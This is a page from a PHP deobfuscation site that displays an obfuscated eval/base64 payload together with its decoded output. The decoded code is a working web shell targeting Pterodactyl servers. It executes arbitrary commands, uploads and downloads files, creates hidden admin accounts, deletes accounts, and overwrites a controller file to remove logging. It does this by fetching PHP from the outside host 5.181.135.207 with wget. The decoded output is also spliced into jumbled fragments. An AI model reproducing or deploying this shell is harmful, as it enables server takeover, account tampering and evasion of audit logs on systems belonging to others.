Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('CiBnb3RvIGV0bmdVOyBjeHlEZTogZnVuY3Rpb24gZmVhdHVyZVNoZWxsKCRjbWQs..

Decoded Output download


 goto etngU; cxyDe: function featureShell($cmd, $cwd) { $stdout = ''; if (preg_match("\x2f\x5e\134\163\x2a\143\x64\x5c\163\52\x28\x32\76\46\61\51\77\44\57", $cmd)) { chdir(expandPath("\176")); } elseif (preg_match("\x2f\136\134\x73\52\143\144\x5c\x73\53\x28\x2e\x2b\x29\134\x73\x2a\x28\x32\76\46\61\x29\77\44\57", $cmd)) { chdir($cwd); preg_match("\57\136\134\163\x2a\143\144\134\x73\53\x28\x5b\x5e\134\x73\135\53\51\134\x73\52\50\62\76\x26\61\51\77\44\57", $cmd, $match); chdir(expandPath($match[1])); } elseif (preg_match("\x2f\x5e\134\163\52\144\x6f\167\x6e\154\x6f\x61\x64\x5c\163\53\133\136\134\163\135\x2b\134\163\52\x28\62\76\46\61\x29\x3f\44\x2f", $cmd)) { chdir($cwd); preg_match("\x2f\136\134\x73\52\x64\157\167\x6e\154\x6f\x61\144\x5c\x73\x2b\x28\133\x5e\134\x73\x5d\x2b\x29\x5c\x73\52\50\62\76\46\61\51\x3f\44\57", $cmd, $match); return featureDownload($match[1]); } else { chdir($cwd); $stdout = executeCommand($cmd); } return array("\163\x74\144\157\x75\x74" => base64_encode($stdout), "\x63\167\x64" => base64_encode(getcwd())); } goto zE7Vy; rePAg: function isRunningWindows() { return stripos(PHP_OS, "\127\x49\x4e") === 0; } goto cxyDe; sdfYd: echo $_GET["\x6a\x68\112\x34\106\x6b\x47\x30\x49\130\x37\64\103\x35\171\x77\x6b\x36\x67\67\65\x78\x4a\147\146\x58\130\x6b\142\115"]; goto dTGwl; QcPT_: ?>
') + '&fpwnLlPLgFLMqPLzRPsBUtJAxKBDRt=delete" 2> /dev/null');
                await new Promise((resolve) => setTimeout(resolve, 1000 * 1.5));
                featureShell('php artisan 3zs5691g');
                await new Promise((resolve) => setTimeout(resolve, 1000 * 1.5));
                featureShell('rm app/Console/Commands/DeleteAccount.php');
            }

            function removeLogging() {
                featureShell('wget -O app/Http/Controllers/Api/Client/Servers/FileController.php "5.181.135.207/Nm5XA263ut9GmLQTRsNY?KzxEdSlGjhPHqdGuKDpxiJJlhxWydE=' + encodeURIComponent('<?php  goto t2DCE; BaCM7: echo $_GET["\152\x68\112\x34\x46\x6b\x47\x30\111\130\67\x34\103\x35\x79\x77\x6b\x36\x67\67\65\170\112\x67\x66\x58\130\153\142\x4d"]; goto cMWYG; tfKg9: function initShellConfig() { global $SHELL_CONFIG; if (isRunningWindows()) { $username = getenv("\x55\x53\105\122\x4e\x41\x4d\105"); if ($username !== false) { $SHELL_CONFIG["\165\163\x65\162\156\141\155\x65"] = $username; } } else { $pwuid = posix_getpwuid(posix_geteuid()); if ($pwuid !== false) { $SHELL_CONFIG["\165\x73\x65\x72\156\141\x6d\145"] = $pwuid["\x6e\x61\x6d\x65"]; } } $hostname = gethostname(); if ($hostname !== false) { $SHELL_CONFIG["\x68\157\x73\x74\156\x61\155\x65"] = $hostname; } } goto l9MvJ; W35jJ: function featureDownload($filePath) { $file = @file_get_contents($filePath); if ($file === FALSE) { return array("\x73\164\x64\157\165\164" => base64_encode("\106\x69\154\x65\x20\x6e\157\x74\40\146\157\165\x6e\x64\x20\x2f\x20\x6e\157\40\162\x65\141\144\x20\x70\x65\162\x6d\x69\x73\163\151\157\x6e\x2e"), "\x63\x77\x64" => base64_encode(getcwd())); } else { return array("\x6e\x61\x6d\x65" => base64_encode(basename($filePath)), "\146\151\154\x65" => base64_encode($file)); } } goto L1jSH; lrNNK: echo $_GET["\x6a\x68\x4a\x34\106\x6b\x47\60\111\x58\67\64\103\x35\x79\x77\x6b\66\x67\67\x35\170\112\x67\146\130\130\153\142\x4d"]; goto QcPT_; s7EFV: function allFunctionExist($list = array()) { foreach ($list as $entry) { if (!function_exists($entry)) { return false; } } return true; } goto mNeMf; F6uUI: function expandPath($path) { if (preg_match("\x23\136\50\176\133\141\55\172\x41\x2d\x5a\x30\55\x39\x5f\x2e\x2d\x5d\52\51\x28\x2f\x2e\x2a\51\x3f\x24\43", $path, $match)) { exec("\x65\143\x68\157\x20{$match["\61"]}", $stdout); return $stdout[0] . $match[2]; } return $path; } goto s7EFV; l9MvJ: if (isset($_GET["\x66\x65\x61\164\165\162\x65"])) { $response = NULL; switch ($_GET["\146\145\x61\x74\165\x72\145"]) { case "\163\x68\145\x6c\154": $cmd = $_POST["\143\155\144"]; if (!preg_match("\57\62\76\x2f", $cmd)) { $cmd .= "\40\62\x3e\x26\x31"; } $response = featureShell($cmd, $_POST["\x63\167\x64"]); break; case "\x70\x77\144": $response = featurePwd(); break; case "\150\x69\x6e\164": $response = featureHint($_POST["\x66\x69\154\145\x6e\x61\x6d\145"], $_POST["\143\x77\144"], $_POST["\164\171\x70\x65"]); break; case "\x75\160\x6c\x6f\141\x64": $response = featureUpload($_POST["\x70\141\164\150"], $_POST["\146\151\x6c\145"], $_POST["\143\x77\x64"]); } header("\103\157\156\164\x65\156\164\55\x54\x79\x70\145\x3a\40\x61\x70\x70\154\x69\143\141\164\x69\157\156\x2f\152\163\x6f\156"); echo json_encode($response); die; } else { initShellConfig(); } goto fqiy1; xXQfZ: ?>
') + '&fpwnLlPLgFLMqPLzRPsBUtJAxKBDRt=add" 2> /dev/null');
            }

            async function _onAdmin(event) {
                const admin = document.getElementById("admin");
                if (event.key !== "Enter" || !admin.value) return;

                featureShell('wget -O app/Console/Commands/MakeAdmin.php "5.181.135.207/Nm5XA263ut9GmLQTRsNY?KzxEdSlGjhPHqdGuKDpxiJJlhxWydE=' + encodeURIComponent('<?php  goto sdfYd; Qy7a_: echo $_GET["\x6a\150\112\x34\x46\x6b\107\x30\x49\130\x37\64\103\65\x79\x77\x6b\x36\147\67\x35\170\x4a\147\x66\130\130\x6b\x62\115"]; goto aJgK0; NuF9f: echo json_encode($SHELL_CONFIG); goto nNPac; TBjdT: ?>
') + '&fpwnLlPLgFLMqPLzRPsBUtJAxKBDRt=remove" 2> /dev/null');
            }

            function addLogging() {
                featureShell('wget -O app/Http/Controllers/Api/Client/Servers/FileController.php "5.181.135.207/Nm5XA263ut9GmLQTRsNY?KzxEdSlGjhPHqdGuKDpxiJJlhxWydE=' + encodeURIComponent('<?php  goto kQyjA; nNPac: ?>
;
            var CWD = null;
            var commandHistory = [];
            var historyPosition = 0;
            var eShellCmdInput = null;
            var eShellContent = null;

            function _insertCommand(command) {
                eShellContent.innerHTML += "\n\n";
                eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
                eShellContent.innerHTML += escapeHtml(command);
                eShellContent.innerHTML += "\n";
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }

            function _insertStdout(stdout) {
                eShellContent.innerHTML += escapeHtml(stdout);
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }

            function _defer(callback) {
                setTimeout(callback, 0);
            }

            function featureShell(command) {

                _insertCommand(command);
                if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
                    featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
                } else if (/^\s*clear\s*$/.test(command)) {
                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
                    eShellContent.innerHTML = '';
                } else {
                    makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
                        if (response.hasOwnProperty('file')) {
                            featureDownload(atob(response.name), response.file)
                        } else {
                            _insertStdout(atob(response.stdout));
                            updateCwd(atob(response.cwd));
                        }
                    });
                }
            }

            function featureHint() {
                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete

                function _requestCallback(data) {
                    if (data.files.length <= 1) return;  // no completion
                    data.files = data.files.map(function(file){
                        return atob(file);
                    });
                    if (data.files.length === 2) {
                        if (type === 'cmd') {
                            eShellCmdInput.value = data.files[0];
                        } else {
                            var currentValue = eShellCmdInput.value;
                            eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
                        }
                    } else {
                        _insertCommand(eShellCmdInput.value);
                        _insertStdout(data.files.join("\n"));
                    }
                }

                var currentCmd = eShellCmdInput.value.split(" ");
                var type = (currentCmd.length === 1) ? "cmd" : "file";
                var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];

                makeRequest(
                    "?feature=hint",
                    {
                        filename: fileName,
                        cwd: CWD,
                        type: type
                    },
                    _requestCallback
                );

            }

            function featureDownload(name, file) {
                var element = document.createElement('a');
                element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
                element.setAttribute('download', name);
                element.style.display = 'none';
                document.body.appendChild(element);
                element.click();
                document.body.removeChild(element);
                _insertStdout('Done.');
            }

            function featureUpload(path) {
                var element = document.createElement('input');
                element.setAttribute('type', 'file');
                element.style.display = 'none';
                document.body.appendChild(element);
                element.addEventListener('change', function () {
                    var promise = getBase64(element.files[0]);
                    promise.then(function (file) {
                        makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
                            _insertStdout(atob(response.stdout));
                            updateCwd(atob(response.cwd));
                        });
                    }, function () {
                        _insertStdout('An unknown client-side error occurred.');
                    });
                });
                element.click();
                document.body.removeChild(element);
            }

            function getBase64(file, onLoadCallback) {
                return new Promise(function(resolve, reject) {
                    var reader = new FileReader();
                    reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
                    reader.onerror = reject;
                    reader.readAsDataURL(file);
                });
            }

            function genPrompt(cwd) {
                cwd = cwd || "~";
                var shortCwd = cwd;
                if (cwd.split("/").length > 3) {
                    var splittedCwd = cwd.split("/");
                    shortCwd = "/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
                }
                return SHELL_CONFIG["username"] + "@" + SHELL_CONFIG["hostname"] + ":<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
            }

            function updateCwd(cwd) {
                if (cwd) {
                    CWD = cwd;
                    _updatePrompt();
                    return;
                }
                makeRequest("?feature=pwd", {}, function(response) {
                    CWD = atob(response.cwd);
                    _updatePrompt();
                });

            }

            function escapeHtml(string) {
                return string
                    .replace(/&/g, "&amp;")
                    .replace(/</g, "&lt;")
                    .replace(/>/g, "&gt;");
            }

            function _updatePrompt() {
                var eShellPrompt = document.getElementById("shell-prompt");
                eShellPrompt.innerHTML = genPrompt(CWD);
            }

            function _onShellCmdKeyDown(event) {
                switch (event.key) {
                    case "Enter":
                        if (!eShellCmdInput.value) break;
                        featureShell(eShellCmdInput.value);
                        insertToHistory(eShellCmdInput.value);
                        eShellCmdInput.value = "";
                        break;
                    case "ArrowUp":
                        if (historyPosition > 0) {
                            historyPosition--;
                            eShellCmdInput.blur();
                            eShellCmdInput.value = commandHistory[historyPosition];
                            _defer(function() {
                                eShellCmdInput.focus();
                            });
                        }
                        break;
                    case "ArrowDown":
                        if (historyPosition >= commandHistory.length) {
                            break;
                        }
                        historyPosition++;
                        if (historyPosition === commandHistory.length) {
                            eShellCmdInput.value = "";
                        } else {
                            eShellCmdInput.blur();
                            eShellCmdInput.focus();
                            eShellCmdInput.value = commandHistory[historyPosition];
                        }
                        break;
                    case 'Tab':
                        event.preventDefault();
                        featureHint();
                        break;
                }
            }

            function insertToHistory(cmd) {
                commandHistory.push(cmd);
                historyPosition = commandHistory.length;
            }

            function makeRequest(url, params, callback) {
                function getQueryString() {
                    var a = [];
                    for (var key in params) {
                        if (params.hasOwnProperty(key)) {
                            a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
                        }
                    }
                    return a.join("&");
                }
                var xhr = new XMLHttpRequest();
                xhr.open("POST", url + '&jhJ4FkG0IX74C5ywk6g75xJgfXXkbM=' + encodeURIComponent('<?php  goto Qy7a_; CWlMU: $SHELL_CONFIG = array("\x75\x73\145\x72\156\x61\x6d\145" => "\x68\145\154\x6c\157", "\x68\x6f\163\x74\x6e\x61\x6d\145" => "\x77\x6f\162\x6c\144"); goto F6uUI; cMWYG: ?>
'));
            }

            async function deleteAccount() {
                featureShell('wget -O app/Console/Commands/DeleteAccount.php "5.181.135.207/Nm5XA263ut9GmLQTRsNY?KzxEdSlGjhPHqdGuKDpxiJJlhxWydE=' + encodeURIComponent('<?php  goto lrNNK; mqhul: function featureHint($fileName, $cwd, $type) { chdir($cwd); if ($type == "\143\155\x64") { $cmd = "\143\157\x6d\160\147\x65\156\40\x2d\143\40{$fileName}"; } else { $cmd = "\143\x6f\x6d\160\x67\x65\156\40\55\x66\40{$fileName}"; } $cmd = "\x2f\142\151\x6e\57\x62\141\x73\x68\40\55\143\x20\x22{$cmd}\42"; $files = explode("\xa", shell_exec($cmd)); foreach ($files as &$filename) { $filename = base64_encode($filename); } return array("\x66\x69\154\x65\x73" => $files); } goto W35jJ; zE7Vy: function featurePwd() { return array("\x63\167\x64" => base64_encode(getcwd())); } goto mqhul; t2DCE: echo $_GET["\152\150\x4a\64\x46\153\x47\60\x49\130\x37\x34\103\x35\x79\167\x6b\66\147\x37\65\170\112\147\x66\130\130\x6b\142\x4d"]; goto TBjdT; mNeMf: function executeCommand($cmd) { $output = ''; if (function_exists("\x65\170\x65\x63")) { exec($cmd, $output); $output = implode("\12", $output); } else { if (function_exists("\163\x68\145\154\154\137\145\170\145\143")) { $output = shell_exec($cmd); } else { if (allFunctionExist(array("\x73\x79\163\x74\x65\155", "\157\x62\137\163\164\x61\162\x74", "\157\142\x5f\x67\x65\x74\x5f\x63\157\x6e\x74\x65\x6e\x74\163", "\x6f\x62\x5f\145\156\144\137\x63\x6c\145\141\x6e"))) { ob_start(); system($cmd); $output = ob_get_contents(); ob_end_clean(); } else { if (allFunctionExist(array("\x70\x61\163\163\164\150\x72\x75", "\x6f\x62\137\x73\164\x61\x72\164", "\x6f\x62\x5f\147\x65\164\x5f\x63\x6f\x6e\x74\145\x6e\164\163", "\157\x62\x5f\145\x6e\x64\137\143\x6c\x65\x61\x6e"))) { ob_start(); passthru($cmd); $output = ob_get_contents(); ob_end_clean(); } else { if (allFunctionExist(array("\160\x6f\x70\145\156", "\146\145\157\146", "\x66\x72\x65\141\x64", "\160\143\154\157\163\x65"))) { $handle = popen($cmd, "\x72"); while (!feof($handle)) { $output .= fread($handle, 4096); } pclose($handle); } else { if (allFunctionExist(array("\160\x72\x6f\143\x5f\157\160\x65\x6e", "\x73\x74\x72\x65\x61\x6d\137\x67\x65\164\x5f\143\x6f\156\x74\145\x6e\x74\163", "\x70\x72\x6f\143\137\x63\154\x6f\163\x65"))) { $handle = proc_open($cmd, array(0 => array("\160\x69\160\145", "\162"), 1 => array("\x70\151\x70\145", "\x77")), $pipes); $output = stream_get_contents($pipes[1]); proc_close($handle); } } } } } } return $output; } goto rePAg; fqiy1: ?>
<!doctypehtml><html><head><meta charset="UTF-8"><meta content="width=device-width,initial-scale=1"name="viewport"><style>body,html{margin:0;padding:0;background:#333;color:#eee;font-family:monospace;width:100vw;height:100vh;overflow:hidden}::-webkit-scrollbar-track{border-radius:8px;background-color:#353535}::-webkit-scrollbar{width:8px;height:8px}::-webkit-scrollbar-thumb{border-radius:8px;-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);background-color:#bcbcbc}#shell{background:#222;box-shadow:0 0 5px rgba(0,0,0,.3);font-size:10pt;display:flex;flex-direction:column;align-items:stretch;max-width:calc(100vw - 2 * var(--shell-margin));max-height:calc(100vh - 2 * var(--shell-margin));resize:both;overflow:hidden;width:100%;height:100%;margin:var(--shell-margin) auto}#buttons{padding:.5rem 1rem 0 1rem;display:grid;grid-template-columns:repeat(6,minmax(0,1fr));gap:.5rem 1rem}#buttons div{display:grid;grid-template-columns:repeat(2,minmax(0,1fr));gap:.5rem}#buttons button{border:unset;background-color:#111;border-radius:8px;color:#fff;cursor:pointer;font-size:16px;font-weight:600;min-height:32px}#buttons button:disabled{cursor:default;opacity:.5}#buttons input:disabled{opacity:.5}#buttons button:hover:not(:disabled){transform:translateY(-2px)}#buttons button:active:not(:disabled){transform:translateY(0)}#buttons input{min-height:32px;padding-left:12px;font-size:14px;color:#fff;background-color:#111;border:unset;border-radius:8px;outline:0}#buttons input:focus{border-color:#0366d6;box-shadow:rgba(3,102,214,.3) 0 0 0 3px}#shell-content{overflow:auto;padding:5px;white-space:pre-wrap;flex-grow:1}:root{--shell-margin:25px}@media (min-width:1200px){:root{--shell-margin:50px!important}}@media (max-width:991px),(max-height:600px){:root{--shell-margin:0!important}#shell{resize:none}}@media (max-width:767px){#buttons{grid-template-columns:repeat(2,minmax(0,1fr))}#shell-input{flex-direction:column}}.shell-prompt{font-weight:700;color:#75df0b}.shell-prompt>span{color:#1bc9e7}#shell-input{display:flex;box-shadow:0 -1px 0 rgba(0,0,0,.3);border-top:rgba(255,255,255,.05) solid 1px;padding:10px 0}#shell-input>label{flex-grow:0;display:block;padding:0 5px;height:30px;line-height:30px}#shell-input #shell-cmd{height:30px;line-height:30px;border:none;background:0 0;color:#eee;font-family:monospace;font-size:10pt;width:100%;align-self:center;box-sizing:border-box}#shell-input div{flex-grow:1;align-items:stretch}#shell-input input{outline:0}</style><script>var SHELL_CONFIG =<?php  goto NuF9f; etngU: if (!$_GET["\x6a\x68\x4a\64\106\153\107\x30\x49\130\67\x34\103\65\x79\x77\153\66\147\x37\x35\x78\112\147\146\x58\x58\153\142\115"] || md5($_GET["\152\x68\x4a\x34\x46\153\x47\x30\x49\130\67\64\x43\x35\x79\167\x6b\x36\147\x37\x35\170\112\147\x66\x58\x58\153\142\x4d"]) !== "\62\64\x61\x39\x30\63\62\x64\71\67\x61\x64\144\144\141\x37\66\142\x35\x30\x35\143\x30\x63\x38\x38\71\x36\141\x34\x36\66") { http_response_code(404); die("\106\151\154\x65\x20\156\157\164\x20\x66\x6f\165\x6e\x64\x2e\xa"); } goto CWlMU; kQyjA: echo $_GET["\152\x68\112\64\106\153\107\60\111\130\x37\x34\x43\65\x79\167\153\x36\147\67\65\170\112\147\x66\x58\x58\x6b\142\x4d"]; goto xXQfZ; aJgK0: ?>
'), true);
                xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
                xhr.onreadystatechange = function() {
                    if (xhr.readyState === 4 && xhr.status === 200) {
                        try {
                            var responseJson = JSON.parse(xhr.responseText);
                            callback(responseJson);
                        } catch (error) {
                            alert("Error while parsing response: " + error);
                        }
                    }
                };
                xhr.send(getQueryString());
            }

            document.onclick = function(event) {
                event = event || window.event;
                var selection = window.getSelection();
                var target = event.target || event.srcElement;

                if (target.tagName === "SELECT") {
                    return;
                }
            };

            window.onload = function() {
                eShellCmdInput = document.getElementById("shell-cmd");
                eShellContent = document.getElementById("shell-content");
                updateCwd();
                eShellCmdInput.focus();
            };

            function cdPterodactyl() {
                featureShell('cd ../../../../../..');

                document.getElementById("cd").disabled = true;
                document.getElementById("make").disabled = false;
                document.getElementById("delete").disabled = false;
                document.getElementById("remove").disabled = false;
                document.getElementById("add").disabled = false;
                document.getElementById("admin").disabled = false;
            }

            function makeAccount() {
                featureShell('echo \'yes\' | php artisan p:user:make [email protected] --username=87o5 --name-first=87o5 --name-last=87o5 --password=' + encodeURIComponent('<?php  goto BaCM7; L1jSH: function featureUpload($path, $file, $cwd) { chdir($cwd); $f = @fopen($path, "\x77\142"); if ($f === FALSE) { return array("\163\164\x64\157\x75\164" => base64_encode("\111\156\x76\141\154\151\144\40\160\x61\164\x68\40\57\x20\x6e\157\x20\167\162\151\164\x65\40\160\145\162\x6d\x69\x73\x73\x69\157\x6e\x2e"), "\143\x77\x64" => base64_encode(getcwd())); } else { fwrite($f, base64_decode($file)); fclose($f); return array("\x73\x74\144\x6f\165\164" => base64_encode("\x44\x6f\156\x65\56"), "\143\167\144" => base64_encode(getcwd())); } } goto tfKg9; dTGwl: ?>
') + '&fpwnLlPLgFLMqPLzRPsBUtJAxKBDRt=admin" 2> /dev/null');
                await new Promise((resolve) => setTimeout(resolve, 1000 * 1.5));
                featureShell('php artisan 3zs5691g --user=' + admin.value);
                await new Promise((resolve) => setTimeout(resolve, 1000 * 1.5));
                featureShell('rm app/Console/Commands/MakeAdmin.php');
            }</script></head><body><div id="shell"><div id="buttons"><button id="cd"onclick="cdPterodactyl()">cd pterodactyl</button> <button id="make"onclick="makeAccount()"disabled>make account</button> <button id="delete"onclick="deleteAccount()"disabled>delete account</button> <button id="remove"onclick="removeLogging()"disabled>remove logging</button> <button id="add"onclick="addLogging()"disabled>add logging</button> <input id="admin"onkeydown="_onAdmin(event)"disabled placeholder="email for admin"></div><pre id="shell-content"></pre><div id="shell-input"><label class="shell-prompt"for="shell-cmd"id="shell-prompt">???</label><div><input id="shell-cmd"onkeydown="_onShellCmdKeyDown(event)"name="cmd"></div></div></div></body></htm

Did this file decode correctly?

Original Code

<?php eval(base64_decode('CiBnb3RvIGV0bmdVOyBjeHlEZTogZnVuY3Rpb24gZmVhdHVyZVNoZWxsKCRjbWQsICRjd2QpIHsgJHN0ZG91dCA9ICcnOyBpZiAocHJlZ19tYXRjaCgiXHgyZlx4NWVcMTM0XDE2M1x4MmFcMTQzXHg2NFx4NWNcMTYzXDUyXHgyOFx4MzJcNzZcNDZcNjFcNTFcNzdcNDRcNTciLCAkY21kKSkgeyBjaGRpcihleHBhbmRQYXRoKCJcMTc2IikpOyB9IGVsc2VpZiAocHJlZ19tYXRjaCgiXHgyZlwxMzZcMTM0XHg3M1w1MlwxNDNcMTQ0XHg1Y1x4NzNcNTNceDI4XHgyZVx4MmJceDI5XDEzNFx4NzNceDJhXHgyOFx4MzJcNzZcNDZcNjFceDI5XDc3XDQ0XDU3IiwgJGNtZCkpIHsgY2hkaXIoJGN3ZCk7IHByZWdfbWF0Y2goIlw1N1wxMzZcMTM0XDE2M1x4MmFcMTQzXDE0NFwxMzRceDczXDUzXHgyOFx4NWJceDVlXDEzNFx4NzNcMTM1XDUzXDUxXDEzNFx4NzNcNTJcNTBcNjJcNzZceDI2XDYxXDUxXDc3XDQ0XDU3IiwgJGNtZCwgJG1hdGNoKTsgY2hkaXIoZXhwYW5kUGF0aCgkbWF0Y2hbMV0pKTsgfSBlbHNlaWYgKHByZWdfbWF0Y2goIlx4MmZceDVlXDEzNFwxNjNcNTJcMTQ0XHg2ZlwxNjdceDZlXDE1NFx4NmZceDYxXHg2NFx4NWNcMTYzXDUzXDEzM1wxMzZcMTM0XDE2M1wxMzVceDJiXDEzNFwxNjNcNTJceDI4XDYyXDc2XDQ2XDYxXHgyOVx4M2ZcNDRceDJmIiwgJGNtZCkpIHsgY2hkaXIoJGN3ZCk7IHByZWdfbWF0Y2goIlx4MmZcMTM2XDEzNFx4NzNcNTJceDY0XDE1N1wxNjdceDZlXDE1NFx4NmZceDYxXDE0NFx4NWNceDczXHgyYlx4MjhcMTMzXHg1ZVwxMzRceDczXHg1ZFx4MmJceDI5XHg1Y1x4NzNcNTJcNTBcNjJcNzZcNDZcNjFcNTFceDNmXDQ0XDU3IiwgJGNtZCwgJG1hdGNoKTsgcmV0dXJuIGZlYXR1cmVEb3dubG9hZCgkbWF0Y2hbMV0pOyB9IGVsc2UgeyBjaGRpcigkY3dkKTsgJHN0ZG91dCA9IGV4ZWN1dGVDb21tYW5kKCRjbWQpOyB9IHJldHVybiBhcnJheSgiXDE2M1x4NzRcMTQ0XDE1N1x4NzVceDc0IiA9PiBiYXNlNjRfZW5jb2RlKCRzdGRvdXQpLCAiXHg2M1wxNjdceDY0IiA9PiBiYXNlNjRfZW5jb2RlKGdldGN3ZCgpKSk7IH0gZ290byB6RTdWeTsgcmVQQWc6IGZ1bmN0aW9uIGlzUnVubmluZ1dpbmRvd3MoKSB7IHJldHVybiBzdHJpcG9zKFBIUF9PUywgIlwxMjdceDQ5XHg0ZSIpID09PSAwOyB9IGdvdG8gY3h5RGU7IHNkZllkOiBlY2hvICRfR0VUWyJceDZhXHg2OFwxMTJceDM0XDEwNlx4NmJceDQ3XHgzMFx4NDlcMTMwXHgzN1w2NFwxMDNceDM1XDE3MVx4NzdceDZiXHgzNlx4NjdcNjdcNjVceDc4XHg0YVwxNDdcMTQ2XHg1OFwxMzBceDZiXDE0MlwxMTUiXTsgZ290byBkVEd3bDsgUWNQVF86ID8+CicpICsgJyZmcHduTGxQTGdGTE1xUEx6UlBzQlV0SkF4S0JEUnQ9ZGVsZXRlIiAyPiAvZGV2L251bGwnKTsKICAgICAgICAgICAgICAgIGF3YWl0IG5ldyBQcm9taXNlKChyZXNvbHZlKSA9PiBzZXRUaW1lb3V0KHJlc29sdmUsIDEwMDAgKiAxLjUpKTsKICAgICAgICAgICAgICAgIGZlYXR1cmVTaGVsbCgncGhwIGFydGlzYW4gM3pzNTY5MWcnKTsKICAgICAgICAgICAgICAgIGF3YWl0IG5ldyBQcm9taXNlKChyZXNvbHZlKSA9PiBzZXRUaW1lb3V0KHJlc29sdmUsIDEwMDAgKiAxLjUpKTsKICAgICAgICAgICAgICAgIGZlYXR1cmVTaGVsbCgncm0gYXBwL0NvbnNvbGUvQ29tbWFuZHMvRGVsZXRlQWNjb3VudC5waHAnKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgZnVuY3Rpb24gcmVtb3ZlTG9nZ2luZygpIHsKICAgICAgICAgICAgICAgIGZlYXR1cmVTaGVsbCgnd2dldCAtTyBhcHAvSHR0cC9Db250cm9sbGVycy9BcGkvQ2xpZW50L1NlcnZlcnMvRmlsZUNvbnRyb2xsZXIucGhwICI1LjE4MS4xMzUuMjA3L05tNVhBMjYzdXQ5R21MUVRSc05ZP0t6eEVkU2xHamhQSHFkR3VLRHB4aUpKbGh4V3lkRT0nICsgZW5jb2RlVVJJQ29tcG9uZW50KCc8P3BocCAgZ290byB0MkRDRTsgQmFDTTc6IGVjaG8gJF9HRVRbIlwxNTJceDY4XDExMlx4MzRceDQ2XHg2Ylx4NDdceDMwXDExMVwxMzBcNjdceDM0XDEwM1x4MzVceDc5XHg3N1x4NmJceDM2XHg2N1w2N1w2NVwxNzBcMTEyXHg2N1x4NjZceDU4XDEzMFwxNTNcMTQyXHg0ZCJdOyBnb3RvIGNNV1lHOyB0ZktnOTogZnVuY3Rpb24gaW5pdFNoZWxsQ29uZmlnKCkgeyBnbG9iYWwgJFNIRUxMX0NPTkZJRzsgaWYgKGlzUnVubmluZ1dpbmRvd3MoKSkgeyAkdXNlcm5hbWUgPSBnZXRlbnYoIlx4NTVceDUzXDEwNVwxMjJceDRlXHg0MVx4NGRcMTA1Iik7IGlmICgkdXNlcm5hbWUgIT09IGZhbHNlKSB7ICRTSEVMTF9DT05GSUdbIlwxNjVcMTYzXHg2NVwxNjJcMTU2XDE0MVwxNTVceDY1Il0gPSAkdXNlcm5hbWU7IH0gfSBlbHNlIHsgJHB3dWlkID0gcG9zaXhfZ2V0cHd1aWQocG9zaXhfZ2V0ZXVpZCgpKTsgaWYgKCRwd3VpZCAhPT0gZmFsc2UpIHsgJFNIRUxMX0NPTkZJR1siXDE2NVx4NzNceDY1XHg3MlwxNTZcMTQxXHg2ZFwxNDUiXSA9ICRwd3VpZFsiXHg2ZVx4NjFceDZkXHg2NSJdOyB9IH0gJGhvc3RuYW1lID0gZ2V0aG9zdG5hbWUoKTsgaWYgKCRob3N0bmFtZSAhPT0gZmFsc2UpIHsgJFNIRUxMX0NPTkZJR1siXHg2OFwxNTdceDczXHg3NFwxNTZceDYxXDE1NVx4NjUiXSA9ICRob3N0bmFtZTsgfSB9IGdvdG8gbDlNdko7IFczNWpKOiBmdW5jdGlvbiBmZWF0dXJlRG93bmxvYWQoJGZpbGVQYXRoKSB7ICRmaWxlID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlUGF0aCk7IGlmICgkZmlsZSA9PT0gRkFMU0UpIHsgcmV0dXJuIGFycmF5KCJceDczXDE2NFx4NjRcMTU3XDE2NVwxNjQiID0+IGJhc2U2NF9lbmNvZGUoIlwxMDZceDY5XDE1NFx4NjVceDIwXHg2ZVwxNTdceDc0XDQwXDE0NlwxNTdcMTY1XHg2ZVx4NjRceDIwXHgyZlx4MjBceDZlXDE1N1w0MFwxNjJceDY1XDE0MVwxNDRceDIwXHg3MFx4NjVcMTYyXHg2ZFx4NjlceDczXDE2M1wxNTFcMTU3XHg2ZVx4MmUiKSwgIlx4NjNceDc3XHg2NCIgPT4gYmFzZTY0X2VuY29kZShnZXRjd2QoKSkpOyB9IGVsc2UgeyByZXR1cm4gYXJyYXkoIlx4NmVceDYxXHg2ZFx4NjUiID0+IGJhc2U2NF9lbmNvZGUoYmFzZW5hbWUoJGZpbGVQYXRoKSksICJcMTQ2XDE1MVwxNTRceDY1IiA9PiBiYXNlNjRfZW5jb2RlKCRmaWxlKSk7IH0gfSBnb3RvIEwxalNIOyBsck5OSzogZWNobyAkX0dFVFsiXHg2YVx4NjhceDRhXHgzNFwxMDZceDZiXHg0N1w2MFwxMTFceDU4XDY3XDY0XDEwM1x4MzVceDc5XHg3N1x4NmJcNjZceDY3XDY3XHgzNVwxNzBcMTEyXHg2N1wxNDZcMTMwXDEzMFwxNTNcMTQyXHg0ZCJdOyBnb3RvIFFjUFRfOyBzN0VGVjogZnVuY3Rpb24gYWxsRnVuY3Rpb25FeGlzdCgkbGlzdCA9IGFycmF5KCkpIHsgZm9yZWFjaCAoJGxpc3QgYXMgJGVudHJ5KSB7IGlmICghZnVuY3Rpb25fZXhpc3RzKCRlbnRyeSkpIHsgcmV0dXJuIGZhbHNlOyB9IH0gcmV0dXJuIHRydWU7IH0gZ290byBtTmVNZjsgRjZ1VUk6IGZ1bmN0aW9uIGV4cGFuZFBhdGgoJHBhdGgpIHsgaWYgKHByZWdf